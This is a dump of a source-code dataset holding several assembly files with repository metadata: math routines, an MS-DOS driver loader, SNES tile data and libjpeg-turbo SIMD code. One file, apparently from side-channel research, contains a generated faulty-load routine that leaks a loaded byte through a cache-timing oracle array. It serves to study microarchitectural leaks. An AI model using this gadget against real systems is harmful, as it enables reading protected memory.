hexsha
stringlengths
40
40
size
int64
6
1.05M
ext
stringclasses
3 values
lang
stringclasses
1 value
max_stars_repo_path
stringlengths
4
232
max_stars_repo_name
stringlengths
7
106
max_stars_repo_head_hexsha
stringlengths
40
40
max_stars_repo_licenses
listlengths
1
7
max_stars_count
int64
1
33.5k
max_stars_repo_stars_event_min_datetime
stringlengths
24
24
max_stars_repo_stars_event_max_datetime
stringlengths
24
24
max_issues_repo_path
stringlengths
4
232
max_issues_repo_name
stringlengths
7
106
max_issues_repo_head_hexsha
stringlengths
40
40
max_issues_repo_licenses
listlengths
1
7
max_issues_count
int64
1
37.5k
max_issues_repo_issues_event_min_datetime
stringlengths
24
24
max_issues_repo_issues_event_max_datetime
stringlengths
24
24
max_forks_repo_path
stringlengths
4
232
max_forks_repo_name
stringlengths
7
106
max_forks_repo_head_hexsha
stringlengths
40
40
max_forks_repo_licenses
listlengths
1
7
max_forks_count
int64
1
12.6k
max_forks_repo_forks_event_min_datetime
stringlengths
24
24
max_forks_repo_forks_event_max_datetime
stringlengths
24
24
content
stringlengths
6
1.05M
avg_line_length
float64
1.16
19.7k
max_line_length
int64
2
938k
alphanum_fraction
float64
0
1
6c3333efbe75d901d71889669ec97a4d106eafde
651
asm
Assembly
oeis/315/A315303.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/315/A315303.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/315/A315303.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A315303: Coordination sequence Gal.6.247.6 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings. ; Submitted by Jamie Morken(s1.) ; 1,6,10,16,20,24,28,32,38,42,48,54,58,64,68,72,76,80,86,90,96,102,106,112,116,120,124,128,134,138,144,150,154,160,164,168,172,176,182,186,192,198,202,208,212,216,220,224,230,234 mov $1,$0 seq $1,314164 ; Coordination sequence Gal.5.302.2 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings. mov $2,$0 mul $0,12 sub $0,1 mod $0,$1 add $0,1 mul $2,4 add $0,$2
46.5
182
0.729647
ec61a69d5c66243a4e5b297f81b7e0cc9eff95fe
333
asm
Assembly
libsrc/math/mbf64/c/sccz80/l_f64_gt.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/math/mbf64/c/sccz80/l_f64_gt.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/math/mbf64/c/sccz80/l_f64_gt.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
SECTION code_fp_mbf64 PUBLIC l_f64_gt EXTERN ___mbf64_setup_comparison EXTERN l_f64_yes EXTERN l_f64_no INCLUDE "mbf64.def" ; Stack > registers l_f64_gt: call ___mbf64_setup_comparison ; 0b00000000 = stack == register ; 0b00000001 = stack > register ; 0b11111111 = stack < register cp 1 jp z,l_f64_yes jp l_f64_no
15.857143
33
0.762763
aa0aeb5ac2eef58690c274a993d17b239cac998b
3,071
asm
Assembly
cmd/adddrv/init.asm
minblock/msdos
479ffd237d9bb7cc83cb06361db2c4ef42dfbac0
[ "Apache-2.0" ]
null
null
null
cmd/adddrv/init.asm
minblock/msdos
479ffd237d9bb7cc83cb06361db2c4ef42dfbac0
[ "Apache-2.0" ]
null
null
null
cmd/adddrv/init.asm
minblock/msdos
479ffd237d9bb7cc83cb06361db2c4ef42dfbac0
[ "Apache-2.0" ]
null
null
null
;/* ; * Microsoft Confidential ; * Copyright (C) Microsoft Corporation 1991 ; * All Rights Reserved. ; */ ; ; Initialize routine for EXE high-loading ; ; Created by yoshim May 27, 1987 ; ; for DOS 4.01 by yukini Feb 20, 1989 PDB_BLOCK_LEN equ 02h PDB_PARENT_PID equ 16h PDP_ENVIRON equ 2Ch prog group code, data code segment byte public 'code' code ends data segment para public 'data' data ends code segment byte public 'code' assume cs:code, ds:nothing, es:nothing, ss:nothing iSP dw 0 iSS dw 0 iIP dw 0 iCS dw 0 rel dw 0 stack db (128-10) dup(0) ; cs points code segment ; ds and es point psp segment mov ax, cs ; get my code segment mov bx, cs:[rel] sub bx, 16 add ax, bx ; psp area(256 bytes) mov ds, ax ; set new psp to DS mov si, word ptr es:[PDB_BLOCK_LEN] ; set memory size mov dx, ds ; set new psp mov ah, 055h ; dup psp int 21h mov ax, word ptr es:[PDB_PARENT_PID] ; copy parent pid mov word ptr ds:[PDB_PARENT_PID], ax mov bx, es ; go back old psp mov ah, 50h ; set psp int 21h mov cx, 4 close_loop: mov bx, cx mov ah, 3Eh ; close int 21h loop close_loop mov bx, ds ; go to new psp mov ah, 50h ; set psp int 21h mov bx, ds ; bx = newpsp - oldpsp - 1 mov ax, es sub bx, ax dec bx mov ah, 04Ah ; modify memory int 21h push es mov ax, ds mov es, ax mov bx, 0FFFFh mov ah, 04Ah ; modify memory. but, error! int 21h ; return possible size in BX mov ah, 04Ah ; modify memory int 21h pop es ; ------------------------------------------------<MSKK01>---------------------- push ds ; push es ; mov ax,es ; dec ax ; points OLD PSP mem arena block mov bx,ds ; dec bx ; points NEW PSP mem arena block mov si,8 ; mov di,si ; mov cx,8 ; transfer arena name to new one cld ; mov ds,ax ; mov es,bx ; rep movsb ; pop es ; pop ds ; ; ------------------------------------------------<MSKK01>---------------------- ; free old psp ; es already point old psp mov ah, 049H ; free memory int 21h mov ax, es:[PDP_ENVIRON] dec ax mov es, ax mov es:[1], ds mov ax, cs add ax, cs:[rel] ; relocation factor to AX ; ; ; At this point, we are done loading, and it is time to pass ; control to the the expanded program. Thus, we must set SS:SP ; appropriately, make ES and DS point at the PSP, and jump to ; the proper location. ; mov di, cs:[iSP] ; Get initial SP value mov si, cs:[iSS] ; Get initial SS value add si, ax ; Relocate add cs:[iCS], ax ; Relocate initial CS sub ax, 10H ; Subtract PSP increment mov ds, ax ; DS points to PSP mov es, ax ; ES points to PSP mov bx, offset prog:iIP ; Get offset of jump vector cli ; Disable interrupts mov ss, si ; Initialize SS mov sp, di ; Initialize SP sti ; Enable interrupts jmp dword ptr cs:[bx] ; Jump to starting point code ends data segment newmem db 16 dup(0) newpsp db 256 dup(0) data ends end 
21.326389
80
0.595246
b6ba7c6e59a018b3d8db9aa125256101637fa0a5
289
asm
Assembly
unit_tests/static-tests/common/enum.dup1.error.asm
undisbeliever/untech-engine
2cd0df80e88161d4d509242237cfdd2d9a030a8b
[ "MIT" ]
34
2016-06-17T16:47:47.000Z
2021-12-07T08:09:50.000Z
unit_tests/static-tests/common/enum.dup1.error.asm
undisbeliever/untech-engine
2cd0df80e88161d4d509242237cfdd2d9a030a8b
[ "MIT" ]
1
2016-09-30T09:22:36.000Z
2016-09-30T12:28:33.000Z
unit_tests/static-tests/common/enum.dup1.error.asm
undisbeliever/untech-engine
2cd0df80e88161d4d509242237cfdd2d9a030a8b
[ "MIT" ]
null
null
null
include "../../../src/common/enum.inc" namespace test { createEnum() enum(A) enum(B) enum(C) // endEnum() is optional } // Try to re-declare an enum. namespace test { createEnum() // ERROR enum(D) enum(E) enum(F) endEnum() }
13.761905
38
0.512111
7303ee597e7bb89cdc7f8444ff724bbfa3348fb9
5,155
asm
Assembly
Transynther/x86/_processed/AVXALIGN/_zr_/i7-7700_9_0x48.log_21829_1396.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/AVXALIGN/_zr_/i7-7700_9_0x48.log_21829_1396.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/AVXALIGN/_zr_/i7-7700_9_0x48.log_21829_1396.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r12 push %r8 push %rax push %rbp push %rbx push %rcx push %rdi push %rsi lea addresses_D_ht+0xfd4b, %rbx nop nop inc %r8 mov $0x6162636465666768, %r12 movq %r12, %xmm6 movups %xmm6, (%rbx) nop cmp $26390, %rax lea addresses_WT_ht+0xcbf, %rsi lea addresses_A_ht+0x700b, %rdi nop xor %rbp, %rbp mov $77, %rcx rep movsb nop nop nop sub $63007, %r12 lea addresses_A_ht+0x5c0b, %rcx xor %rsi, %rsi mov (%rcx), %r12d nop nop nop nop xor $24176, %rbp lea addresses_A_ht+0x1d00b, %rbp and %r12, %r12 and $0xffffffffffffffc0, %rbp vmovntdqa (%rbp), %ymm5 vextracti128 $0, %ymm5, %xmm5 vpextrq $0, %xmm5, %rbx nop inc %r8 pop %rsi pop %rdi pop %rcx pop %rbx pop %rbp pop %rax pop %r8 pop %r12 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r14 push %r15 push %r9 push %rcx push %rdi // Store lea addresses_WC+0x1068b, %r14 nop nop nop nop and %r9, %r9 movl $0x51525354, (%r14) nop sub $12845, %r9 // Faulty Load lea addresses_WT+0x1b80b, %r14 nop nop xor %rcx, %rcx mov (%r14), %r11 lea oracles, %r10 and $0xff, %r11 shlq $12, %r11 mov (%r10,%r11,1), %r11 pop %rdi pop %rcx pop %r9 pop %r15 pop %r14 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'AVXalign': False, 'congruent': 0, 'size': 16, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC', 'AVXalign': False, 'congruent': 7, 'size': 4, 'same': False, 'NT': True}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'AVXalign': False, 'congruent': 0, 'size': 8, 'same': True, 'NT': True}} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 5, 'size': 16, 'same': True, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 11, 'same': True}} {'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 6, 'size': 4, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 10, 'size': 32, 'same': False, 'NT': True}} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
46.441441
2,999
0.659166
847658853c1e2e34a0c638172396e295ee8b9dcd
344
asm
Assembly
Bitwise operations/shiftRightArithmetic.asm
berkcetinsaya/MIPSLanguageExamples
e1ec7ae15a38621e09fcf211f033497c495ee06b
[ "Apache-2.0" ]
null
null
null
Bitwise operations/shiftRightArithmetic.asm
berkcetinsaya/MIPSLanguageExamples
e1ec7ae15a38621e09fcf211f033497c495ee06b
[ "Apache-2.0" ]
null
null
null
Bitwise operations/shiftRightArithmetic.asm
berkcetinsaya/MIPSLanguageExamples
e1ec7ae15a38621e09fcf211f033497c495ee06b
[ "Apache-2.0" ]
null
null
null
.text li $t1, -89 # 1010 0111 sra $t3, $t1, 1 # 89 = 10100111 # 1 bit shifted to the right 11010011 # shift right means division of the number by 2 to the power of amount of shifted bits # -89 shifted to the right by 1 bits. New number is -89 / pow(2,1) = -45 # negative numbers can be shifted only by sra because it keeps sign bit.
38.222222
87
0.686047
49880eff974372029ebfea25887d35fb9f84dd65
314
asm
Assembly
libsrc/_DEVELOPMENT/temp/sp1/zx/c/sccz80/sp1_ScreenAttr_callee.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/_DEVELOPMENT/temp/sp1/zx/c/sccz80/sp1_ScreenAttr_callee.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/_DEVELOPMENT/temp/sp1/zx/c/sccz80/sp1_ScreenAttr_callee.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
; uchar__CALLEE__ sp1_ScreenAttr_callee(uchar row, uchar col) ; 02.2006 aralbrec, Sprite Pack v3.0 ; sinclair zx version SECTION code_clib SECTION code_temp_sp1 PUBLIC sp1_ScreenAttr_callee EXTERN asm_sp1_ScreenAttr sp1_ScreenAttr_callee: pop hl pop de ex (sp),hl ld d,l jp asm_sp1_ScreenAttr
15.7
61
0.77707
303b7b73d9a33eb9ab4a93e15a3d926fc7d225cb
355
asm
Assembly
programs/oeis/221/A221130.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/221/A221130.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/221/A221130.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A221130: a(n) = 2^(2*n - 1) + n. ; 3,10,35,132,517,2054,8199,32776,131081,524298,2097163,8388620,33554445,134217742,536870927,2147483664,8589934609,34359738386,137438953491,549755813908,2199023255573,8796093022230,35184372088855,140737488355352,562949953421337,2251799813685274,9007199254741019 mov $1,$0 mov $2,4 pow $2,$0 mul $2,2 add $1,$2 add $1,1
35.5
261
0.780282
95bc1d5d95d49a390e661abfbf89438ee104929f
419
asm
Assembly
Background/metatiles.asm
nesdoug/SNES_13
b87ad5c34e22870a0d44f2811adb039e3f07505a
[ "MIT" ]
11
2021-04-02T17:45:09.000Z
2022-01-28T08:11:08.000Z
Background/metatiles.asm
nesdoug/SNES_10
a6a6af69985f66c71f8a0e2f9cc46f2d5d1b9dfc
[ "MIT" ]
1
2021-10-18T00:44:16.000Z
2021-11-20T16:57:59.000Z
Background/metatiles.asm
nesdoug/SNES_13
b87ad5c34e22870a0d44f2811adb039e3f07505a
[ "MIT" ]
null
null
null
.segment "CODE" ; typed by hand ; 8 bytes per metatile = 4 tiles ; 2 bytes per tile, tile # then attributes (palette) Metatiles: ;tile 0 .byte $02, TILE_PAL_0 .byte $03, TILE_PAL_0 .byte $12, TILE_PAL_0 .byte $13, TILE_PAL_0 ;tile 1 .byte $04, TILE_PAL_1 .byte $05, TILE_PAL_1 .byte $14, TILE_PAL_1 .byte $15, TILE_PAL_1 ;tile 2 .byte $02, TILE_PAL_5 .byte $03, TILE_PAL_5 .byte $12, TILE_PAL_5 .byte $13, TILE_PAL_5
18.217391
52
0.713604
35b16c0e1eec4cff35bfcfb12f82f77e2f771b1b
148
asm
Assembly
other.7z/SFC.7z/SFC/ソースデータ/MarioKart/Compress-j.asm
prismotizm/gigaleak
d082854866186a05fec4e2fdf1def0199e7f3098
[ "MIT" ]
null
null
null
other.7z/SFC.7z/SFC/ソースデータ/MarioKart/Compress-j.asm
prismotizm/gigaleak
d082854866186a05fec4e2fdf1def0199e7f3098
[ "MIT" ]
null
null
null
other.7z/SFC.7z/SFC/ソースデータ/MarioKart/Compress-j.asm
prismotizm/gigaleak
d082854866186a05fec4e2fdf1def0199e7f3098
[ "MIT" ]
null
null
null
Name: Compress-j.asm Type: file Size: 15200 Last-Modified: '1992-07-14T15:00:00Z' SHA-1: AFFFB5E7C83314EE4C54A6DCC5A02E4E61857EA5 Description: null
21.142857
47
0.810811
85886f813f58dd70975a3be8b7addb54a07ed964
5,509
asm
Assembly
Ouroboros/External/libjpegTurbo/simd/jcqnts2i-64.asm
jiangzhu1212/oooii
fc00ff81e74adaafd9c98ba7c055f55d95a36e3b
[ "MIT" ]
null
null
null
Ouroboros/External/libjpegTurbo/simd/jcqnts2i-64.asm
jiangzhu1212/oooii
fc00ff81e74adaafd9c98ba7c055f55d95a36e3b
[ "MIT" ]
null
null
null
Ouroboros/External/libjpegTurbo/simd/jcqnts2i-64.asm
jiangzhu1212/oooii
fc00ff81e74adaafd9c98ba7c055f55d95a36e3b
[ "MIT" ]
null
null
null
; ; jcqnts2i-64.asm - sample data conversion and quantization (64-bit SSE2) ; ; Copyright 2009 Pierre Ossman <ossman@cendio.se> for Cendio AB ; Copyright 2009 D. R. Commander ; ; Based on ; x86 SIMD extension for IJG JPEG library ; Copyright (C) 1999-2006, MIYASAKA Masaru. ; For conditions of distribution and use, see copyright notice in jsimdext.inc ; ; This file should be assembled with NASM (Netwide Assembler), ; can *not* be assembled with Microsoft's MASM or any compatible ; assembler (including Borland's Turbo Assembler). ; NASM is available from http://nasm.sourceforge.net/ or ; http://sourceforge.net/project/showfiles.php?group_id=6208 ; ; [TAB8] %include "jsimdext.inc" %include "jdct.inc" ; -------------------------------------------------------------------------- SECTION SEG_TEXT BITS 64 ; ; Load data into workspace, applying unsigned->signed conversion ; ; GLOBAL(void) ; jsimd_convsamp_sse2 (JSAMPARRAY sample_data, JDIMENSION start_col, ; DCTELEM * workspace); ; ; r10 = JSAMPARRAY sample_data ; r11 = JDIMENSION start_col ; r12 = DCTELEM * workspace align 16 global EXTN(jsimd_convsamp_sse2) EXTN(jsimd_convsamp_sse2): push rbp mov rax,rsp mov rbp,rsp collect_args push rbx pxor xmm6,xmm6 ; xmm6=(all 0's) pcmpeqw xmm7,xmm7 psllw xmm7,7 ; xmm7={0xFF80 0xFF80 0xFF80 0xFF80 ..} mov rsi, r10 mov rax, r11 mov rdi, r12 mov rcx, DCTSIZE/4 .convloop: mov rbx, JSAMPROW [rsi+0*SIZEOF_JSAMPROW] ; (JSAMPLE *) mov rdx, JSAMPROW [rsi+1*SIZEOF_JSAMPROW] ; (JSAMPLE *) movq xmm0, XMM_MMWORD [rbx+rax*SIZEOF_JSAMPLE] ; xmm0=(01234567) movq xmm1, XMM_MMWORD [rdx+rax*SIZEOF_JSAMPLE] ; xmm1=(89ABCDEF) mov rbx, JSAMPROW [rsi+2*SIZEOF_JSAMPROW] ; (JSAMPLE *) mov rdx, JSAMPROW [rsi+3*SIZEOF_JSAMPROW] ; (JSAMPLE *) movq xmm2, XMM_MMWORD [rbx+rax*SIZEOF_JSAMPLE] ; xmm2=(GHIJKLMN) movq xmm3, XMM_MMWORD [rdx+rax*SIZEOF_JSAMPLE] ; xmm3=(OPQRSTUV) punpcklbw xmm0,xmm6 ; xmm0=(01234567) punpcklbw xmm1,xmm6 ; xmm1=(89ABCDEF) paddw xmm0,xmm7 paddw xmm1,xmm7 punpcklbw xmm2,xmm6 ; xmm2=(GHIJKLMN) punpcklbw xmm3,xmm6 ; xmm3=(OPQRSTUV) paddw xmm2,xmm7 paddw xmm3,xmm7 movdqa XMMWORD [XMMBLOCK(0,0,rdi,SIZEOF_DCTELEM)], xmm0 movdqa XMMWORD [XMMBLOCK(1,0,rdi,SIZEOF_DCTELEM)], xmm1 movdqa XMMWORD [XMMBLOCK(2,0,rdi,SIZEOF_DCTELEM)], xmm2 movdqa XMMWORD [XMMBLOCK(3,0,rdi,SIZEOF_DCTELEM)], xmm3 add rsi, byte 4*SIZEOF_JSAMPROW add rdi, byte 4*DCTSIZE*SIZEOF_DCTELEM dec rcx jnz short .convloop pop rbx uncollect_args pop rbp ret ; -------------------------------------------------------------------------- ; ; Quantize/descale the coefficients, and store into coef_block ; ; This implementation is based on an algorithm described in ; "How to optimize for the Pentium family of microprocessors" ; (http://www.agner.org/assem/). ; ; GLOBAL(void) ; jsimd_quantize_sse2 (JCOEFPTR coef_block, DCTELEM * divisors, ; DCTELEM * workspace); ; %define RECIPROCAL(m,n,b) XMMBLOCK(DCTSIZE*0+(m),(n),(b),SIZEOF_DCTELEM) %define CORRECTION(m,n,b) XMMBLOCK(DCTSIZE*1+(m),(n),(b),SIZEOF_DCTELEM) %define SCALE(m,n,b) XMMBLOCK(DCTSIZE*2+(m),(n),(b),SIZEOF_DCTELEM) ; r10 = JCOEFPTR coef_block ; r11 = DCTELEM * divisors ; r12 = DCTELEM * workspace align 16 global EXTN(jsimd_quantize_sse2) EXTN(jsimd_quantize_sse2): push rbp mov rax,rsp mov rbp,rsp collect_args mov rsi, r12 mov rdx, r11 mov rdi, r10 mov rax, DCTSIZE2/32 .quantloop: movdqa xmm4, XMMWORD [XMMBLOCK(0,0,rsi,SIZEOF_DCTELEM)] movdqa xmm5, XMMWORD [XMMBLOCK(1,0,rsi,SIZEOF_DCTELEM)] movdqa xmm6, XMMWORD [XMMBLOCK(2,0,rsi,SIZEOF_DCTELEM)] movdqa xmm7, XMMWORD [XMMBLOCK(3,0,rsi,SIZEOF_DCTELEM)] movdqa xmm0,xmm4 movdqa xmm1,xmm5 movdqa xmm2,xmm6 movdqa xmm3,xmm7 psraw xmm4,(WORD_BIT-1) psraw xmm5,(WORD_BIT-1) psraw xmm6,(WORD_BIT-1) psraw xmm7,(WORD_BIT-1) pxor xmm0,xmm4 pxor xmm1,xmm5 pxor xmm2,xmm6 pxor xmm3,xmm7 psubw xmm0,xmm4 ; if (xmm0 < 0) xmm0 = -xmm0; psubw xmm1,xmm5 ; if (xmm1 < 0) xmm1 = -xmm1; psubw xmm2,xmm6 ; if (xmm2 < 0) xmm2 = -xmm2; psubw xmm3,xmm7 ; if (xmm3 < 0) xmm3 = -xmm3; paddw xmm0, XMMWORD [CORRECTION(0,0,rdx)] ; correction + roundfactor paddw xmm1, XMMWORD [CORRECTION(1,0,rdx)] paddw xmm2, XMMWORD [CORRECTION(2,0,rdx)] paddw xmm3, XMMWORD [CORRECTION(3,0,rdx)] pmulhuw xmm0, XMMWORD [RECIPROCAL(0,0,rdx)] ; reciprocal pmulhuw xmm1, XMMWORD [RECIPROCAL(1,0,rdx)] pmulhuw xmm2, XMMWORD [RECIPROCAL(2,0,rdx)] pmulhuw xmm3, XMMWORD [RECIPROCAL(3,0,rdx)] pmulhuw xmm0, XMMWORD [SCALE(0,0,rdx)] ; scale pmulhuw xmm1, XMMWORD [SCALE(1,0,rdx)] pmulhuw xmm2, XMMWORD [SCALE(2,0,rdx)] pmulhuw xmm3, XMMWORD [SCALE(3,0,rdx)] pxor xmm0,xmm4 pxor xmm1,xmm5 pxor xmm2,xmm6 pxor xmm3,xmm7 psubw xmm0,xmm4 psubw xmm1,xmm5 psubw xmm2,xmm6 psubw xmm3,xmm7 movdqa XMMWORD [XMMBLOCK(0,0,rdi,SIZEOF_DCTELEM)], xmm0 movdqa XMMWORD [XMMBLOCK(1,0,rdi,SIZEOF_DCTELEM)], xmm1 movdqa XMMWORD [XMMBLOCK(2,0,rdi,SIZEOF_DCTELEM)], xmm2 movdqa XMMWORD [XMMBLOCK(3,0,rdi,SIZEOF_DCTELEM)], xmm3 add rsi, byte 32*SIZEOF_DCTELEM add rdx, byte 32*SIZEOF_DCTELEM add rdi, byte 32*SIZEOF_JCOEF dec rax jnz near .quantloop uncollect_args pop rbp ret ; For some reason, the OS X linker does not honor the request to align the ; segment unless we do this. align 16
29.303191
79
0.681067
4a08abb874304d52bce66ebe3edd5c314be6a293
234
asm
Assembly
tm-test/lib64/syscall.asm
ddosakura/sakura-cat
b2c5d98982001189e53237285a38070a1a008c0f
[ "Apache-2.0" ]
null
null
null
tm-test/lib64/syscall.asm
ddosakura/sakura-cat
b2c5d98982001189e53237285a38070a1a008c0f
[ "Apache-2.0" ]
null
null
null
tm-test/lib64/syscall.asm
ddosakura/sakura-cat
b2c5d98982001189e53237285a38070a1a008c0f
[ "Apache-2.0" ]
null
null
null
;用户模式的系统调用依次传递的寄存器为: rdi,rsi,rdx,rcx,r8和r9; global _skr_puts _skr_puts: mov rdx, rsi ; lenght of msg string mov rsi, rdi ; addr of msg string mov rdi, 1 ; fd mov rax, 1 ; sys_write syscall ret
21.272727
43
0.615385
206fd12bcde0abfb184553d80590d61a9e999b3e
776
asm
Assembly
max.asm
D2epu/asm-x86
d2a90bdadb22a4f19bce1b7314585a0978bc1005
[ "MIT" ]
null
null
null
max.asm
D2epu/asm-x86
d2a90bdadb22a4f19bce1b7314585a0978bc1005
[ "MIT" ]
null
null
null
max.asm
D2epu/asm-x86
d2a90bdadb22a4f19bce1b7314585a0978bc1005
[ "MIT" ]
null
null
null
extern printf extern scanf section .data msg db "enter two numbers: ", 0 fmt_in db "%d%d", 0 fmt_out db "maximum: %d", 0 section .text global start start: enter 8, 0 push msg call printf add esp, 4 lea eax, [ebp - 4] lea ebx, [ebp - 8] push eax push ebx push fmt_in call scanf add esp, 12 push dword [ebp - 4] push dword [ebp - 8] call maximum add esp, 8 push eax push fmt_out call printf add esp, 8 leave ret maximum: enter 0, 0 mov eax, [ebp + 8] cmp eax, [ebp + 12] jg _done mov eax, [ebp + 12] leave ret _done: leave ret
9.023256
36
0.469072
67cc158298adedd69fa298f340d8d628e0cffdb3
267
asm
Assembly
